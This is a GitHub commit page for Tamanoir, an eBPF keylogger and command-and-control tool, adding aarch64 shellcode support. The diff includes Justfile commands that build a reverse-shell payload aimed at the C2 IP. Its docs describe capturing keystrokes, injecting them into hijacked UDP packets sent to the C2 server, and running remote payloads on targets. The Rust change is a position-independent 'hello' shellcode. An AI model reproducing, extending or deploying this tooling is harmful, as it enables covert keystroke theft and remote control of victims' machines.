Skip to content

Commit dada654

Browse files
authored
Shellcode implementations for aarch64 (#31)
1 parent b0ce13e commit dada654

File tree

24 files changed

+463
-313
lines changed

24 files changed

+463
-313
lines changed

.github/workflows/ci.yaml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -21,15 +21,15 @@ jobs:
2121
- run: cargo binstall -y bpf-linker
2222

2323
- name: Build Tamanoir
24-
run: just build-tamanoir
24+
run: just tamanoir-build
2525

2626
- name: Build Tamanoir-C2
2727
run: |
2828
sudo apt install -y protobuf-compiler
29-
just build-c2
29+
just c2-build
3030
3131
- name: Build TUI
32-
run: just build-tui
32+
run: just tui-build
3333

3434
- name: Linting
3535
run: |

Justfile

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,23 @@
1-
set export
21
_default:
32
@just --list
43

54
_build-ebpf:
65
cd tamanoir-ebpf && cargo build --release
76

7+
arch:="x86_64" # x86_64 , aarch64
88
proxy_ip:="192.168.1.15"
99

1010
# Build Tamanoir
11-
build-tamanoir:
11+
tamanoir-build:
1212
just _build-ebpf
1313
cargo build -p tamanoir --release
1414

1515
# Build C&C server
16-
build-c2:
16+
c2-build:
1717
cargo build -p tamanoir-c2 --release
1818

1919
# Build Tui
20-
build-tui:
20+
tui-build:
2121
cargo build -p tamanoir-tui --release
2222

2323

@@ -26,7 +26,7 @@ tamanoir-run iface="wlan0" hijack_ip="8.8.8.8" log_level="info" :
2626
RUST_LOG={{log_level}} sudo -E target/release/tamanoir --proxy-ip {{proxy_ip}} --hijack-ip {{hijack_ip}} --iface {{iface}}
2727

2828
# Run tui
29-
tui-run grpc_port="50051" log_level="debug":
29+
tui-run grpc_port="50051" log_level="info":
3030
RUST_LOG={{log_level}} target/release/tamanoir-tui -i {{proxy_ip}} -p {{grpc_port}}
3131

3232
# Run c2 server
@@ -36,11 +36,11 @@ c2-run:
3636

3737
# Rce build (run on c2 server)
3838
rce_build_reverse_shell :
39-
./target/release/tamanoir-c2 rce build -c ./assets/payloads/reverse-shell -b "IP={{proxy_ip}} PORT=8082"
39+
./target/release/tamanoir-c2 rce build -c ./assets/payloads/reverse-shell -b "IP={{proxy_ip}}" -t {{arch}}
4040

4141
rce_build_hello :
42-
./target/release/tamanoir-c2 rce build -c ./assets/payloads/hello
42+
./target/release/tamanoir-c2 rce build -c ./assets/payloads/hello -t {{arch}}
4343

4444
rce_build_xeyes :
45-
./target/release/tamanoir-c2 rce build -c ./assets/payloads/xeyes
45+
./target/release/tamanoir-c2 rce build -c ./assets/payloads/xeyes -t {{arch}}
4646

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
<p><small><i>A large anteater of Central and South America, Myrmecophaga tridactyla</i></small></p>
66
</div>
77

8+
#### ⚡ Powered by [Aya](https://aya-rs.dev), [Tokio](https://github.com/tokio-rs/tokio), [Tonic](https://github.com/hyperium/tonic) and [Ratatui](https://ratatui.rs)
9+
810
## 💡Overview
911

1012
Tamanoir is structured around 3 components:
@@ -25,7 +27,6 @@ The TUI client communicating with C2 server. Built on top of ratatui
2527
<p><small><i>Tui client demo</i></small></p>
2628
</div>
2729

28-
#### ⚡ Powered by [Aya](https://aya-rs.dev), [Tokio](https://github.com/tokio-rs/tokio), [Tonic](https://github.com/hyperium/tonic) and [Ratatui](https://ratatui.rs)
2930

3031

3132
### Glossary

assets/doc/tamanoir-c2.md

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ Tamanoir comes with ready-to-use payloads :
3030
|----------|----------|----------|
3131
| hello | prints a cute tamanoir to tamanoir stdout | hello-world payload, demonstrate how a big payload can be transmitted by chunks to target|
3232
| xeyes | open `xeyes` program on target gui | demonstrate how to execute simple shellcode. Only works if target uses x11 |
33-
| reverse-shell | open a tcp-shell communicating with tamanoir-c2 | needs to specify IP and PORT vars when building (see below)
33+
| reverse-shell | open a tcp-shell communicating with tamanoir-c2 | needs to specify IP var when building (see below)
3434

3535

3636
### 📍 payloads location: ./assets/payloads
@@ -54,7 +54,7 @@ Tamanoir comes with ready-to-use payloads :
5454
- ⚠ max payload size (once compiled and stripped) = 4096 bytes
5555

5656
#### example: build reverse-shell
57-
`tamanoir-c2 rce build -c ./assets/payloads/reverse-shell -b "IP=<tamanoir-c2-ip> PORT=8082"`
57+
`tamanoir-c2 rce build -c ./assets/payloads/reverse-shell -b "IP=<tamanoir-c2-ip>" -t x86_64`
5858
will compile `reverse-shell` payload:
5959
- for x86_64 target arch
6060
- use cross to build it if current arch isn't x86_64
@@ -68,6 +68,10 @@ will compile `reverse-shell` payload:
6868
- ⚠ path needs to be absolute
6969

7070
## ⚠ Limitations
71-
Though it is possible to compile payloads for `x86_64` and `aarch64` architectures, currently only `x86_64` target arch is viable for provided payloads.
72-
Any contributions from people knowledgable about aarch64 assembly code are welcome! (see open issues for context)
71+
- Cross compilation is only available for `aarch64` -> `x86_64`
72+
- Rce payloads are for now only available for GNU toolchain
73+
74+
75+
76+
7377

assets/doc/tamanoir.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
## Egress (eBPF Tc program)
88
1. when a udp packet with destination ip `HIJACK-IP` is to be sent via selected network interface, ebpf program captures it
99
2. a payload is built, with target architecture stored as first byte
10-
3. a fixed-length chunk of stored keystrokes is fetched from ringbuffer and added to payload
10+
3. a fixed-length chunk of stored keystrokes is fetched from ebpf queue and added to payload
1111
4. it is injected between layer3 (IP) and layer4 (UDP)
1212
5. destination IP is replaced by Tamanoir-C2 server IP
1313
6. packet is then sent

assets/payloads/hello/linker.ld

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,16 +8,17 @@ SECTIONS
88
*(.text.prologue)
99
*(.text)
1010
*(.text.*)
11-
}
11+
*(.text.msg)
1212

13+
}
1314
. = ALIGN(16);
1415
.data :
1516
{
1617
*(.rodata)
1718
*(.rodata.*)
18-
*(.data)
19-
19+
*(.data)
2020
}
21+
2122
/DISCARD/ :
2223
{
2324
*(.interp)

assets/payloads/hello/src/main.rs

Lines changed: 62 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -4,65 +4,79 @@
44
use core::arch::asm;
55

66
#[cfg(target_arch = "x86_64")]
7-
pub unsafe fn write(fd: usize, msg: *const u8, len: usize) -> isize {
8-
let sys_nr: usize = 1;
9-
let ret: isize;
10-
asm!(
11-
"syscall",
12-
in("rax") sys_nr,
13-
in("rdi") fd,
14-
in("rsi") msg,
15-
in("rdx") len,
16-
lateout("rax") ret,
17-
);
18-
ret
7+
mod consts {
8+
pub const SYS_EXIT: usize = 60;
9+
pub const SYS_WRITE: usize = 1;
10+
}
11+
#[cfg(target_arch = "aarch64")]
12+
mod consts {
13+
pub const SYS_EXIT: usize = 93;
14+
pub const SYS_WRITE: usize = 64;
1915
}
16+
use consts::*;
17+
const HELLO: &[u8] = include_bytes!("hello.txt");
2018

21-
#[cfg(target_arch = "x86_64")]
22-
pub unsafe fn exit(ret: isize) -> ! {
23-
let sys_nr: usize = 60;
24-
asm!(
25-
"syscall",
26-
in("rax") sys_nr,
27-
in("rdi") ret,
28-
options(noreturn),
29-
);
19+
fn exit(ret: isize) -> ! {
20+
#[cfg(target_arch = "x86_64")]
21+
unsafe {
22+
asm!(
23+
"syscall",
24+
in("rax") SYS_EXIT,
25+
in("rdi") ret,
26+
options(noreturn),
27+
);
28+
}
29+
#[cfg(target_arch = "aarch64")]
30+
unsafe {
31+
asm!(
32+
"svc #0",
33+
in("x8") SYS_EXIT,
34+
in("x0") ret,
35+
options(noreturn),
36+
);
37+
}
3038
}
3139

32-
#[cfg(target_arch = "aarch64")]
33-
pub unsafe fn write(fd: usize, msg: *const u8, len: usize) -> isize {
34-
let sys_nr: usize = 64;
40+
fn write(fd: usize, msg: *const u8, len: usize) -> isize {
3541
let ret: isize;
36-
asm!(
37-
"svc #0",
38-
in("x8") sys_nr,
39-
in("x0") fd,
40-
in("x1") msg,
41-
in("x2") len,
42-
lateout("x0") ret,
43-
);
42+
43+
#[cfg(target_arch = "x86_64")]
44+
unsafe {
45+
asm!(
46+
"syscall",
47+
in("rax") SYS_WRITE,
48+
in("rdi") fd,
49+
in("rsi") msg,
50+
in("rdx") len,
51+
lateout("rax") ret,
52+
);
53+
}
54+
#[cfg(target_arch = "aarch64")]
55+
unsafe {
56+
asm!(
57+
"adr x1, {msg}", // must use PC-relative addressing! which is natural in x86, but tricky here
58+
"svc #0",
59+
in("x8") SYS_WRITE,
60+
in("x0") fd,
61+
in("x2") len,
62+
lateout("x0") ret,
63+
msg = sym MSG
64+
);
65+
}
66+
4467
ret
4568
}
4669

4770
#[cfg(target_arch = "aarch64")]
48-
pub unsafe fn exit(ret: isize) -> ! {
49-
let sys_nr: usize = 93;
50-
asm!(
51-
"svc #0",
52-
in("x8") sys_nr,
53-
in("x0") ret,
54-
options(noreturn),
55-
);
56-
}
57-
58-
const HELLO: &[u8] = include_bytes!("hello.txt");
71+
#[link_section = ".text.msg"]
72+
// see linker.ld : we must control where this symbol is placed otherwise it wont be reachable when elf headers are lost (raw binary )
73+
#[no_mangle]
74+
static MSG: [u8; HELLO.len()] = *include_bytes!("hello.txt");
5975

6076
#[no_mangle]
61-
pub extern "C" fn _start() {
62-
unsafe {
63-
let _ = write(1, HELLO.as_ptr(), HELLO.len());
64-
exit(0);
65-
}
77+
fn _start() {
78+
let _ = write(1, HELLO.as_ptr(), HELLO.len());
79+
exit(0);
6680
}
6781

6882
#[panic_handler]

0 commit comments

Comments
 (0)